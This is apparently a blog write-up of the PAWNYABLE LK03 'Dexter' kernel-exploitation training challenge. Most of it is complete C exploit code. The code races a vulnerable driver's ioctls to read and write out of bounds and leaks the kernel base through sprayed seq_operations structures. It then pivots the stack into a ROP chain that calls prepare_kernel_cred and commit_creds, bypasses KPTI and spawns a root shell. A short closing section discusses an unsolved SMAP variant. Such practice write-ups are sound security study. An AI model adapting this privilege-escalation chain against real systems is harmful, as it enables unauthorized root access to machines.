PAWNYABLE LK03: Dexter
Table of Contents
LK03 (Dexter)⌗
#include <fcntl.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#define VULN_DEV_DEVICE_NAME "dexter"
#define VULN_DEV_BUFFER_SIZE 0x20
#define VULN_DEV_CMD_GET 0xdec50001
#define VULN_DEV_CMD_SET 0xdec50002
#define KERNEL_BASE 0xffffffff81000000
#define SEQ_OPERATIONS_START 0xffffffff81170f80
#define SEQ_OPERATIONS_START_OFFSET (SEQ_OPERATIONS_START - KERNEL_BASE)
#define FAKE_STACK_ADDRESS (0xf6000000)
#define MOV_ESP_0xf6000000_OFFSET (0xffffffff81520224 - KERNEL_BASE)
#define MOV_ESP_0xf6000000 (kernel_base + MOV_ESP_0xf6000000_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8109b0cd - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff810729b0 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff8110d88b - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8163d0ab - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff81072810 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
(0xffffffff81800e26 - \
KERNEL_BASE) // Offset in the function
// swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)
static void fatal(const char* msg) {
perror(msg);
exit(-1);
}
uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
asm("mov %[u_cs], cs;\n"
"mov %[u_ss], ss;\n"
"mov %[u_sp], rsp;\n"
"pushf;\n"
"pop %[u_rflags];\n"
: [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
[u_rflags] "=r"(user_rflags)::"memory");
printf(
"[*] user_cs: 0x%016lx, user_ss: 0x%016lx, user_sp: 0x%016lx, "
"user_rflags: "
"0x%016lx\n",
user_cs, user_ss, user_sp, user_rflags);
}
static void get_shell() {
puts("[+] Get shell!");
char* argv[] = {"/bin/sh", NULL};
char* envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
typedef struct {
char* ptr;
size_t len;
} request_t;
static int vuln_dev_fd = -1;
static request_t vuln_dev_req = {
0,
};
static int vuln_dev_set(void* ptr, size_t len) {
vuln_dev_req.ptr = ptr;
vuln_dev_req.len = len;
return ioctl(vuln_dev_fd, VULN_DEV_CMD_SET, &vuln_dev_req);
}
static int vuln_dev_get(void* ptr, size_t len) {
vuln_dev_req.ptr = ptr;
vuln_dev_req.len = len;
return ioctl(vuln_dev_fd, VULN_DEV_CMD_GET, &vuln_dev_req);
}
static int race_success = 0;
static void* vuln_dev_race(void* arg) {
const size_t len = (size_t)arg;
while (!race_success) {
vuln_dev_req.len = len;
usleep(1);
}
return NULL;
}
static void vuln_dev_oob_read(void* out, size_t len) {
if (len <= VULN_DEV_BUFFER_SIZE) {
vuln_dev_get(out, len);
return;
}
pthread_t th;
race_success = 0;
const uint64_t cur_rand_val = 0xdeadbeefcafebebe + rand();
*(uint64_t*)(out + VULN_DEV_BUFFER_SIZE) = cur_rand_val;
pthread_create(&th, NULL, &vuln_dev_race, (void*)len);
while (!race_success) {
if (vuln_dev_get(out, VULN_DEV_BUFFER_SIZE)) {
continue;
}
if (*(uint64_t*)(out + VULN_DEV_BUFFER_SIZE) != cur_rand_val) {
race_success = 1;
}
}
pthread_join(th, NULL);
}
static void vuln_dev_oob_write(void* data, size_t len) {
if (len <= VULN_DEV_BUFFER_SIZE) {
vuln_dev_set(data, len);
return;
}
pthread_t th;
race_success = 0;
const uint64_t cur_rand_val = 0xdeadbeefcafebebe + rand();
void* tmp = malloc(len);
*(uint64_t*)(tmp + VULN_DEV_BUFFER_SIZE) = cur_rand_val;
pthread_create(&th, NULL, &vuln_dev_race, (void*)len);
while (!race_success) {
if (vuln_dev_set(data, VULN_DEV_BUFFER_SIZE)) {
continue;
}
while (1) {
if (vuln_dev_get(tmp, VULN_DEV_BUFFER_SIZE)) {
continue;
}
if (*(uint64_t*)(tmp + VULN_DEV_BUFFER_SIZE) != cur_rand_val) {
break;
}
}
if (!memcmp(tmp, data, len)) {
race_success = 1;
}
}
free(tmp);
pthread_join(th, NULL);
}
static uint64_t kernel_base = 0;
int main() {
char char_buf[0x800];
uint64_t* uint64_buf = (uint64_t*)char_buf;
srand(time(NULL));
save_state();
int seq_ops_spray[800] = {
0,
};
for (int i = 0; i < sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]) / 2;
++i) {
seq_ops_spray[i] = open("/proc/self/stat", O_RDONLY);
}
vuln_dev_fd = open("/dev/" VULN_DEV_DEVICE_NAME, O_RDONLY);
if (vuln_dev_fd < 0) {
fatal("open " VULN_DEV_DEVICE_NAME);
}
for (int i = sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]) / 2;
i < sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
seq_ops_spray[i] = open("/proc/self/stat", O_RDONLY);
}
int seq_ops_start_idx = -1;
vuln_dev_oob_read(char_buf, sizeof(char_buf));
for (int i = 0; i < sizeof(char_buf) / sizeof(uint64_t); ++i) {
if ((uint64_buf[i] & SEQ_OPERATIONS_START_OFFSET) ==
SEQ_OPERATIONS_START_OFFSET) {
kernel_base = uint64_buf[i] - SEQ_OPERATIONS_START_OFFSET;
seq_ops_start_idx = i;
break;
}
}
if (seq_ops_start_idx == -1 || kernel_base == 0 ||
(kernel_base & 0xFFFFF) != 0) {
fatal("kernel_base");
}
printf("[+] kernel_base: 0x%16lx @ idx: %d\n", kernel_base,
seq_ops_start_idx);
void* fake_stack = mmap(
(void*)(FAKE_STACK_ADDRESS - 0x8000), 0x10000, PROT_READ | PROT_WRITE,
MAP_POPULATE | MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
uint64_t* rop = (uint64_t*)(FAKE_STACK_ADDRESS);
*rop++ = POP_RDI;
*rop++ = 0;
*rop++ = PREPARE_KERNEL_CRED;
*rop++ = POP_RCX;
*rop++ = 0;
*rop++ = MOV_RDI_RAX_REP;
*rop++ = COMMIT_CREDS;
*rop++ = BYPASS_KPTI;
*rop++ = 0xdeadbeefcafebe01;
*rop++ = 0xdeadbeefcafebe02;
*rop++ = (uint64_t)(get_shell);
*rop++ = (uint64_t)(user_cs);
*rop++ = (uint64_t)(user_rflags);
*rop++ = (uint64_t)(user_sp);
*rop++ = (uint64_t)(user_ss);
uint64_buf[seq_ops_start_idx] = MOV_ESP_0xf6000000;
vuln_dev_oob_write(uint64_buf, 8 * (seq_ops_start_idx + 1));
for (int i = 0; i < sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
read(seq_ops_spray[i], char_buf, 0x100);
}
for (int i = 0; i < sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
close(seq_ops_spray[i]);
}
return 0;
}Exercise (with SMAP)⌗
I tried writing exploit code with SMAP enabled. But I failed.
I think that any registers cannot be controlled when using seq_operations to control RIP.
My inference to exploit with SMAP:
- Find
kmalloc-32object containing reference count - Using heap overflow, make UAF object.
- Do cross-cache attack and exploit UAF.
Or just find a good kmalloc-32 object with RIP controll primitives with register controll or AAW primitives, ETC.
But I cannot find the good object…
Currently, I does not know what is cross-cache attack and how SLUB works. Therefore I decide to delay solving this exercise until I study SLUB and cross-cache attack, ETC.